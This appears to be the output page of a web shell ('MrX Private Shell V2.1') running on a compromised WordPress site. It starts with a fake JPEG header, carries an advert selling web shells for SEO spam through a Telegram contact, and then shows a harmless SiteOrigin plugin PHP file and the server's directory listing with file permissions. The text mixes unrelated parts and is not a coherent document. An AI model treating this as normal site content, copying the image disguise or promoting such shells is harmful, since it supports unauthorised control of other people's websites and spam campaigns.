����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Class siteorigin_lessc
*
* An extension to the SiteOrigin_LessC class that adds a few custom functions
*/
class SiteOrigin_Widgets_Less_Functions {
private $widget;
private $widget_instance;
function __construct($widget, $widget_instance){
$this->widget = $widget;
$this->widget_instance = $widget_instance;
}
/**
* @param SiteOrigin_LessC $c
*
* Register less functions in a SiteOrigin_LessC object
*/
function registerFunctions(&$c){
if( method_exists( $c, 'registerFunction' ) ) {
$c->registerFunction( 'length', array($this, 'length') );
}
}
/**
* Very basic length function that checks the length of a list. Might need some more checks for other types.
*
* @param $arg
*
* @return int
*/
function length($arg){
if(empty($arg[0]) || empty($arg[2]) || $arg[0] != 'list') return 1;
return count($arg[2]);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| fields | Folder | 0755 |
|
|
| lib | Folder | 0755 |
|
|
| routes | Folder | 0755 |
|
|
| widgets | Folder | 0755 |
|
|
| Parsedown.php | File | 37.02 KB | 0644 |
|
| actions.php | File | 8.68 KB | 0644 |
|
| array-utils.php | File | 569 B | 0644 |
|
| attachments.php | File | 3.11 KB | 0644 |
|
| color.php | File | 10.98 KB | 0644 |
|
| fonts.php | File | 133.7 KB | 0644 |
|
| less-functions.php | File | 878 B | 0644 |
|
| lessc.inc.php | File | 7.06 KB | 0644 |
|
| meta-box-manager.php | File | 5.38 KB | 0644 |
|
| post-selector.php | File | 4.22 KB | 0644 |
|
| shortcode.php | File | 1.96 KB | 0644 |
|
| string-utils.php | File | 879 B | 0644 |
|
| video.php | File | 3.63 KB | 0644 |
|
| widget-manager.class.php | File | 4.5 KB | 0644 |
|